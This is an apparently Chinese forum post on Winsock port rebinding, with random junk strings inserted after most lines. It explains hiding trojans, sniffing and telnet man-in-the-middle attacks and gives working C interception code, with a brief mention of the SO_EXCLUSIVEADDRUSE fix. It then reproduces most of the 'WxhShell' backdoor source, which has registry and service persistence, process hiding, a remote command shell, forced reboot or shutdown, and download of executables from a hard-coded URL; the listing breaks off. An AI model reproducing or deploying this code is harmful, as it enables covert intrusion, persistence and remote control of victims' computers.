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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0SwWLq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0qnToV;  
hvQOwA;e  
  saddr.sin_family = AF_INET; !3v!BJ#+,&  
}?$d~]t)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y+_G L=J  
K;,n?Q w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +IK~a9t  
7]@vPr;:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y'*^ '  
b4Zkj2L  
  这意味着什么?意味着可以进行如下的攻击: HY~\e|o  
dMCV !$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Z ] `n  
d2'9C6t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~#h@.yW^JN  
79n,bb5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R,x\VX!|  
=7e~L 3 K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ={~`0,  
E[/<AY^@!z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UaiDo"i  
qtnLQl"M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QK&<im-  
7C9qkQ Jqn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yl% Ra1  
O`g44LW2n  
  #include xqmP/1=NO  
  #include Xnt`7L<L  
  #include zq80}5%2CT  
  #include    RvZi%)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K%[Rv#>;q|  
  int main() vE;`y46&r  
  { H|tbwU)J  
  WORD wVersionRequested; z `T<g!Y  
  DWORD ret; dz5a! e [  
  WSADATA wsaData; "S(m1L?  
  BOOL val; ~j^HDHY@  
  SOCKADDR_IN saddr; UtIwrR[  
  SOCKADDR_IN scaddr; ^SpD)O{  
  int err; WpP8J1KN[  
  SOCKET s; 8b8ui  
  SOCKET sc; K I  
  int caddsize; Fx~=mYU  
  HANDLE mt; cR 4xy26s  
  DWORD tid;   Q%o ]&Hdn  
  wVersionRequested = MAKEWORD( 2, 2 ); I;qeDCM  
  err = WSAStartup( wVersionRequested, &wsaData ); R44JK  
  if ( err != 0 ) { NS6#od ZeV  
  printf("error!WSAStartup failed!\n"); %0YwaxXPn7  
  return -1; p ~J`}>yo  
  } w")VcAq  
  saddr.sin_family = AF_INET; RnPJ,Z5s&&  
   -_[n2\|we)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dB ?+-aE  
>M<rr!|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q1mz~r  
  saddr.sin_port = htons(23); d!{,[8&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &[`p qX  
  { Vl5}m  
  printf("error!socket failed!\n"); B=%cXW,  
  return -1;  :J`:Q3@  
  } l}j5EWe  
  val = TRUE; oZHsCQ%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SouPk/-B80  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .n[!3X|d  
  { ^*#5iT8/  
  printf("error!setsockopt failed!\n"); ,'v]U@WK  
  return -1; \CM/KrCR  
  } PaP47>(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \|BtgT*$b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B_i@D?bTD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |lm   
 poGF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lsU|xOB  
  { MLtfi{;LH  
  ret=GetLastError(); jY-{hW+r  
  printf("error!bind failed!\n"); s+YQ :>F  
  return -1; /zMiy?  
  } mk~&>\  
  listen(s,2); ~'m GGH2  
  while(1) a)^f`s^aa  
  { B4bC6$Lg  
  caddsize = sizeof(scaddr); *>h"}e41  
  //接受连接请求 p 2It/O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wqx@/--E(  
  if(sc!=INVALID_SOCKET) 8G; t[9  
  { ?DzKqsS'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x* *]@v"g  
  if(mt==NULL) cod__.  
  { r0379 _  
  printf("Thread Creat Failed!\n"); oFB~)}f<v  
  break; V%g$LrLVe  
  } 6Db1mvSe  
  } Bwj^9J/ob  
  CloseHandle(mt); } 1^/[?  
  } 6T! *YrS  
  closesocket(s); 2Vas`/~u~  
  WSACleanup(); `*mctjSN  
  return 0; IeLG/ fB  
  }   =hxj B*")  
  DWORD WINAPI ClientThread(LPVOID lpParam) V0q./NuO  
  { %W~Kx_  
  SOCKET ss = (SOCKET)lpParam; FPE[}  
  SOCKET sc; oXRmnt  
  unsigned char buf[4096]; S9S8T+  
  SOCKADDR_IN saddr; h}k&#X)7  
  long num; Eo 5p-  
  DWORD val; f=]+\0MQ  
  DWORD ret; DygMavA.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q*&>Ui[&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s%z\szd*  
  saddr.sin_family = AF_INET; .I$ Q3%s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )XV|D  
  saddr.sin_port = htons(23); ,X25-OFZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,V'+16xW  
  { izy7. (.a  
  printf("error!socket failed!\n"); VHwb 7f]gq  
  return -1; 3/>T/To&2  
  } !G =!^RA  
  val = 100; MlaViw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &b8Dy=#  
  { (JHzwI8+  
  ret = GetLastError(); =># S7=  
  return -1; 4+e9:r]  
  } ~XQj0'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fgIzT!fyz  
  { ^BIB'/Kh)  
  ret = GetLastError(); [y-0w.V=oE  
  return -1; JwG$lGNJ  
  } S&_Z,mT./  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `T7gfb%1-3  
  { 4Xi _[ Xf  
  printf("error!socket connect failed!\n"); S+Z_Qf  
  closesocket(sc); GEj/Z};;[b  
  closesocket(ss); (jd)sf6Tj[  
  return -1; by!1L1[JTt  
  } j oDY   
  while(1) *z I@Htp  
  { )'3(=F$+l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ATl.Qku@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9Jd{HI=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 > 2_xRn<P  
  num = recv(ss,buf,4096,0); 2k;>nlVxX  
  if(num>0) $*w]]b$Dn  
  send(sc,buf,num,0); s ;EwAd(  
  else if(num==0) j3 ,6U jlU  
  break; rDFD rviW_  
  num = recv(sc,buf,4096,0); BwMi@r =  
  if(num>0) s\2t|d   
  send(ss,buf,num,0); VM=A#}  
  else if(num==0) uJ<n W%}  
  break; {JTO Q 8&  
  } TbX#K:l  
  closesocket(ss); e/hA>  
  closesocket(sc); I/4:SNha  
  return 0 ; 8CCd6)cG  
  } ]."~)  
P`r@<cgb=  
#tX\m ;  
========================================================== =v^LShD2^  
%+Hhe]J ld  
下边附上一个代码,,WXhSHELL c6/+Ye =h  
Wy1#K)LRb  
========================================================== &Ui*w%  
IxN0m7  
#include "stdafx.h" _2uRY  
!bs{/?  
#include <stdio.h> ^ [FK<9  
#include <string.h> .m%/JquMFM  
#include <windows.h> Su.imM!  
#include <winsock2.h> U9^o"vT  
#include <winsvc.h> `w/:o$&  
#include <urlmon.h> L&h@`NPO a  
c#o(y6  
#pragma comment (lib, "Ws2_32.lib") %c+`8 wj  
#pragma comment (lib, "urlmon.lib") 12l-NWXf  
C1w~z4Qp  
#define MAX_USER   100 // 最大客户端连接数  uP|Py.+  
#define BUF_SOCK   200 // sock buffer :yg:sU  
#define KEY_BUFF   255 // 输入 buffer PP/EZ^]b  
PF=BXY1<UL  
#define REBOOT     0   // 重启 qyi5j0)W  
#define SHUTDOWN   1   // 关机  B=)&43)\  
t6-He~  
#define DEF_PORT   5000 // 监听端口 fKEZlrw  
/$ a>f>EJ  
#define REG_LEN     16   // 注册表键长度 9vIqGz-o  
#define SVC_LEN     80   // NT服务名长度 WRa1VU&f  
Fu0"Asxce  
// 从dll定义API `y"(\1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dxp8^VL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f};lH[B3y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > mI1wV[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dL{zU4iUR  
(4:&tm/;  
// wxhshell配置信息 ^G :}%4  
struct WSCFG { j}P xq  
  int ws_port;         // 监听端口 )v\zaz  
  char ws_passstr[REG_LEN]; // 口令 M"XILNV-~  
  int ws_autoins;       // 安装标记, 1=yes 0=no poLzgd  
  char ws_regname[REG_LEN]; // 注册表键名 G@$Y6To[  
  char ws_svcname[REG_LEN]; // 服务名 bogw/)1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Sz`$'^c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \tv^],^`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tc-pVw:TV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t<8vgdD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Oz8"s4Y7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z8vMVo  
</xz V<Pi  
}; K|n%8hRy  
jhRg47A  
// default Wxhshell configuration R#"LP7\  
struct WSCFG wscfg={DEF_PORT, <4lR  
    "xuhuanlingzhe", B=<>OYH  
    1, 9, A(|g  
    "Wxhshell", !4;A"B(  
    "Wxhshell", +M )ep\j  
            "WxhShell Service", (L`7-6e(Ab  
    "Wrsky Windows CmdShell Service", 18`YY\u(  
    "Please Input Your Password: ", ?E>(zV1D/  
  1, VkFvV><"  
  "http://www.wrsky.com/wxhshell.exe", MTnW5W-r9  
  "Wxhshell.exe" #6g9@tE  
    }; >z{*>i,m1  
oe (})M  
// 消息定义模块 \\ZR~f!<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6_UCRo5h%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TRLz>mQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7(8i~}  
char *msg_ws_ext="\n\rExit."; :?uUh  
char *msg_ws_end="\n\rQuit."; 31VDlcn E  
char *msg_ws_boot="\n\rReboot..."; tW^oa  
char *msg_ws_poff="\n\rShutdown..."; gu1:%raXd  
char *msg_ws_down="\n\rSave to "; WFr;z*  
X283.?  
char *msg_ws_err="\n\rErr!"; &^q!,7.J  
char *msg_ws_ok="\n\rOK!"; B=ckRW q  
Uz4!O  
char ExeFile[MAX_PATH]; ;`")3~M3*  
int nUser = 0; u& 4i=K'x8  
HANDLE handles[MAX_USER]; vJ +sdG  
int OsIsNt; c+BD37S  
L3N ?^^]  
SERVICE_STATUS       serviceStatus; ^l,(~03_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VL =19[  
3t4i2]  
// 函数声明 Xu.Wdl/{Ra  
int Install(void); 7lLh4__;`6  
int Uninstall(void); A{Kc"s4fO  
int DownloadFile(char *sURL, SOCKET wsh); <w,NMu"  
int Boot(int flag); dnwTD\),  
void HideProc(void); Etj0k} A  
int GetOsVer(void); j ."L=  
int Wxhshell(SOCKET wsl); Ee~<PDzB  
void TalkWithClient(void *cs); biLNR"/E  
int CmdShell(SOCKET sock); +6zW(Ql/  
int StartFromService(void); a- \M)}T  
int StartWxhshell(LPSTR lpCmdLine); 6%-RKQi  
L'Yg$9Vz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |]M|I X8 o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kVmR v.zZ  
Yg<L pjq5X  
// 数据结构和表定义 Ri   
SERVICE_TABLE_ENTRY DispatchTable[] = #oYPe:8|m  
{ 6D\$K  
{wscfg.ws_svcname, NTServiceMain}, B5A/Iv)2  
{NULL, NULL} w$)NW57[|  
}; C {*' p+f  
{+3 `{34e  
// 自我安装 e7_.Xr~[  
int Install(void) u# TNW.  
{ '9ki~jtf=  
  char svExeFile[MAX_PATH]; a<NZC  
  HKEY key; W>E/LBpE4  
  strcpy(svExeFile,ExeFile); \4`:~c  
5wE+p<-KX  
// 如果是win9x系统,修改注册表设为自启动 JI3x^[(Z  
if(!OsIsNt) { ron-v"!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %#jW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i-jrF6&  
  RegCloseKey(key); ,<CFjtelO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \PzJ66DL!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *HONA>u   
  RegCloseKey(key); UR|Au'iu  
  return 0; FHK{cE  
    } A3 uF 0A  
  } cb3Q{.-.#  
} ZLGglT'EW>  
else { R/WbcQ)  
Bs3M7z RG  
// 如果是NT以上系统,安装为系统服务 !,cL c}a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QomihQnc  
if (schSCManager!=0) : MEB] }  
{ QM) ob  
  SC_HANDLE schService = CreateService  5(\H:g\z  
  ( mx!EuF$I  
  schSCManager, 8}?w i[T  
  wscfg.ws_svcname, 2JhE`EVH  
  wscfg.ws_svcdisp, X T<SR]  
  SERVICE_ALL_ACCESS, "!B\c9q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gTQc=,3l3  
  SERVICE_AUTO_START, FKH_o  
  SERVICE_ERROR_NORMAL, KY'x;\0 g  
  svExeFile, &v/>P1Z G  
  NULL, |muZv!,E  
  NULL, vf@toYc[E  
  NULL, iAr]Ed"9|  
  NULL, yno X=#`  
  NULL 5-RA<d#  
  ); %HD0N&  
  if (schService!=0) <~Oy3#{  
  { AX]cM)w  
  CloseServiceHandle(schService); OQJ#>*?  
  CloseServiceHandle(schSCManager); S]Qf p,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UrmnHc>}c  
  strcat(svExeFile,wscfg.ws_svcname); ZVyJ%"(E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s/0bXM$^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xFzaVjjP  
  RegCloseKey(key); q&kG>  
  return 0; eyzXHS*s;L  
    } i)!+`w*Y  
  } =x@v{cP  
  CloseServiceHandle(schSCManager); m7|S'{+!  
} +Ym#!"  
} E*vh<C  
|%g)H,6c  
return 1; w+Y_TJ%  
} dAr=X4LE  
;r BbLM`  
// 自我卸载 .Q!pQ"5  
int Uninstall(void) s>I~%+V.?:  
{ emMk*l,  
  HKEY key; Vz]yJ:  
`$Y%c1;  
if(!OsIsNt) { <64#J9T^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _&RGhA  
  RegDeleteValue(key,wscfg.ws_regname); fP/;t61Z  
  RegCloseKey(key); ;3\'}2^|l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8xt8kf*k  
  RegDeleteValue(key,wscfg.ws_regname); 4jw q$G  
  RegCloseKey(key); _/NPXDL  
  return 0; SC--jhDZ  
  } ir5eR}H  
} ]/|DCxQ  
} b?/Su<q  
else { \[ W`hhJ  
1 J[z ![Tf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @9lGU#  
if (schSCManager!=0) *, R ~[g  
{ ]YY4{E(9d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r-Oz k$  
  if (schService!=0) w+{{4<+cd  
  { bYYjP.rcF  
  if(DeleteService(schService)!=0) { s>=$E~qq  
  CloseServiceHandle(schService); f[q_eY  
  CloseServiceHandle(schSCManager); gX(8V*os^  
  return 0; x[R?hS,0 t  
  } X;v{,P=J  
  CloseServiceHandle(schService); 4M;S&LA  
  } Pr,C)uch  
  CloseServiceHandle(schSCManager); _MTvNs  
} q)PSHr=Z  
} yMOYTN@]  
D >kkA|>  
return 1; #fF D|q  
} qnzNJ_ `R  
Q'[~$~&`  
// 从指定url下载文件 ?sxf_0*  
int DownloadFile(char *sURL, SOCKET wsh) I#xhmsF  
{ r#d]"3tH  
  HRESULT hr; Xy9'JVV6  
char seps[]= "/"; 7'5/T]Z  
char *token; d;a"rq@a)  
char *file; 7o-}86x#  
char myURL[MAX_PATH]; J?Rp  
char myFILE[MAX_PATH]; V/ZWyYxjLi  
:(I=z6  
strcpy(myURL,sURL); NJKk\RM@7  
  token=strtok(myURL,seps); akQb%Wq  
  while(token!=NULL) BT(G9 Pj;  
  { xRF_'|e  
    file=token; (CE2]Nv9")  
  token=strtok(NULL,seps); .yb8<qs  
  } s%?<:9  
V{{UsEVO  
GetCurrentDirectory(MAX_PATH,myFILE); WX+@<y}%  
strcat(myFILE, "\\"); t5QGXj  
strcat(myFILE, file); FYK}AR<=  
  send(wsh,myFILE,strlen(myFILE),0); ve4 QS P  
send(wsh,"...",3,0); *T{KpiuP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ds\f?\Em  
  if(hr==S_OK) )EG-xo@X  
return 0; xH-} <7  
else 5;9.&f  
return 1; )' 2vUt`_7  
)Y?E$=M +B  
} ;8gODj:dO  
b{ W ,wn  
// 系统电源模块 +@PZ3 [s  
int Boot(int flag) K=2j}IPe  
{ }80n5 X<9  
  HANDLE hToken; ,-> P+m5  
  TOKEN_PRIVILEGES tkp; 7wqD_Xr  
Z8pZm`g)T  
  if(OsIsNt) { u[!Ex=9W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =PoPp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #elaz8 5  
    tkp.PrivilegeCount = 1; \)PS&Y8n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U4Pk^[,p1G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  *8 ]  
if(flag==REBOOT) { U9AtC.IG!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CjA}-ee  
  return 0; w2tkJcQ3  
} '`p0T%w  
else { vaZ?>94  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BimM)4g  
  return 0; a[gN+DX%L  
} r3.v^  
  } qxD<mZ@-R0  
  else { wSs78c=  
if(flag==REBOOT) { ;<`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3lNw*M|")  
  return 0; uMP&.Y(  
} ;}k_2mr~  
else { X .S8vlb4z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zdDJcdbGd1  
  return 0; !?)iP  
} J~G"D-l<9/  
} +z\O"zlj  
.]Z,O>N  
return 1; $E@ke:  
} B Zw#ACU  
_d<\@Tkw  
// win9x进程隐藏模块 #60<$HO:Z  
void HideProc(void) 4>@-1nt}  
{ ;D<rGkry  
,<-a 6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *-9b!>5eD  
  if ( hKernel != NULL ) )^'wcBod,  
  { ZZ6F0FLXJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9$'Edi=6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =j~}];I  
    FreeLibrary(hKernel); o r]s  
  } on1mu't_;  
m;I;{+"u  
return; |&%l @X 6  
} "i*Gi \U  
~LzTqMHM  
// 获取操作系统版本 >:P3j<xTv  
int GetOsVer(void) RwwX;I"o%  
{ :Zd# }P  
  OSVERSIONINFO winfo; ^SRa!8z$W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1vxh3KS.  
  GetVersionEx(&winfo); (.3L'+F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ?hpk)Qu  
  return 1; R:JS)>B  
  else ( ]o6Pi  
  return 0; iJE|u  
} 'C*NyHc  
k07) g:_  
// 客户端句柄模块 VbX$i!>8  
int Wxhshell(SOCKET wsl) `o*g2fW!  
{ |wj/lX7y  
  SOCKET wsh; >Y< y]vM:  
  struct sockaddr_in client; 2jx+q  
  DWORD myID; z95V 7E  
Bf88f<Z  
  while(nUser<MAX_USER) y]\R0lR  
{ QX~*aqS3s8  
  int nSize=sizeof(client); _>:g&pS/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tg5jS]O  
  if(wsh==INVALID_SOCKET) return 1; Q<``}:y|>  
V2]S{!p}k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "WYcw\@U  
if(handles[nUser]==0) 5tl}rmI`  
  closesocket(wsh); Fk(0q/b  
else z_l3=7R  
  nUser++; E(U}$Zey  
  } ddHIP`wb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qkUr5^1  
@+X}O /74  
  return 0; c)E[K-u  
} I}v'n{5(  
)3B5"b,  
// 关闭 socket n7q-)Dv_U  
void CloseIt(SOCKET wsh) ?3z+|;t6C  
{ 3]Lk}0atpL  
closesocket(wsh); Tz L40="F  
nUser--; W@$p'IBwm  
ExitThread(0); D+o.9I/{  
} O\KAvoQ%s  
c)6Y.[).  
// 客户端请求句柄 q%:Jmi>  
void TalkWithClient(void *cs) pmW=l/6+V3  
{ o>`/,-!  
Sc~kO4  
  SOCKET wsh=(SOCKET)cs; sqZHk+<%  
  char pwd[SVC_LEN]; A#  M  
  char cmd[KEY_BUFF]; q=1SP@;\6  
char chr[1]; e<^4F%jSK  
int i,j; Z%OSW  
{M~!?# <K  
  while (nUser < MAX_USER) { 8:xQPd?3  
o"1us75P  
if(wscfg.ws_passstr) { ia_8$>xW+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VYAe !{[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B=c^ma  
  //ZeroMemory(pwd,KEY_BUFF); I3 x}F$^  
      i=0; N~ozyIP,  
  while(i<SVC_LEN) { >aWJ+  
.CpF0  
  // 设置超时 8c|IGC  
  fd_set FdRead; QF>[cdl?8  
  struct timeval TimeOut; +Ae.>%}  
  FD_ZERO(&FdRead); 86I*  
  FD_SET(wsh,&FdRead); X0$_KPn  
  TimeOut.tv_sec=8; BmJ?VJ}Y  
  TimeOut.tv_usec=0; L wu;y@[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q8~pIv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5Q}@Y3 i=  
,/ : )FV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Yjy  
  pwd=chr[0]; nz',Zm},  
  if(chr[0]==0xd || chr[0]==0xa) { :ZIcWIV-  
  pwd=0; QE}@|H9xs  
  break; 4yM8W\je  
  } r/T DU[`&  
  i++; ^,5.vfES  
    } ^9RBG#ud  
g0U ?s  
  // 如果是非法用户,关闭 socket z} \9/`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rN~`4mZ  
} By_Ui6:D  
QaO`:wJj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DRIv<=Bt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R`&ioRWj  
J?<L8;$s7  
while(1) { u~kwNN9t3  
p{J_d,JH  
  ZeroMemory(cmd,KEY_BUFF); K]oPh:E  
] 6gu  
      // 自动支持客户端 telnet标准   rh_({rvQ  
  j=0; v8IL[g6"  
  while(j<KEY_BUFF) { Z9D4;1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5xHiq &d.E  
  cmd[j]=chr[0]; 8#Z5-",iw  
  if(chr[0]==0xa || chr[0]==0xd) { PS22$_}   
  cmd[j]=0; 1W g8jr's  
  break; ezvaAhd{  
  } |Q;o538  
  j++; GXRjR\Ch  
    } \d+HYLAJn  
bH{aI:9Fb  
  // 下载文件 [s2V-'2  
  if(strstr(cmd,"http://")) {  c$|dK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9-^p23.@[j  
  if(DownloadFile(cmd,wsh)) ftPw6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YeLOd  
  else Sv@p!-m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h'x~"k1  
  } v1=X=H  
  else { 0)]1)z(P  
kk'w@Sn.(  
    switch(cmd[0]) { n:D*r$ C|p  
  ,Tl5@RN  
  // 帮助 kU/=Du  
  case '?': { 3>" h*U#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U;GoC$b}|  
    break; (<Xdj^v  
  } g8"7wf`0k  
  // 安装 0Y 2^}u@5  
  case 'i': { [BBKj)IK  
    if(Install()) F/SsiUBS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cpcd`y=IN  
    else rk|(BA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b2e  a0  
    break; =.hDf<U  
    } 1}E@lOc  
  // 卸载 A*~1Uz\t  
  case 'r': { lKUm_; m  
    if(Uninstall()) %},G(>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \2xBOe-a]  
    else J\'5CG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~,68S^nP)H  
    break; @t8kN6.  
    } O97bgj]  
  // 显示 wxhshell 所在路径 })lT fy  
  case 'p': { YX VJJd$U  
    char svExeFile[MAX_PATH]; p8dn-4  
    strcpy(svExeFile,"\n\r"); X); Zm7  
      strcat(svExeFile,ExeFile); &;U7/?Q  
        send(wsh,svExeFile,strlen(svExeFile),0); ~UC/|t$  
    break; zD;] sk4  
    } +~ Ay h[V  
  // 重启 O)uM&B=  
  case 'b': { 1cBhcYv"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EE6|9K>  
    if(Boot(REBOOT)) bTGK@~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FraW6T}_  
    else { d$rUxqB.  
    closesocket(wsh); Q'% o;z*  
    ExitThread(0); _-J@$d%  
    } sC_UalOC_  
    break; /2Lo{v=0[  
    } JlQT5k  
  // 关机 =awO63j>  
  case 'd': { @:9fS  
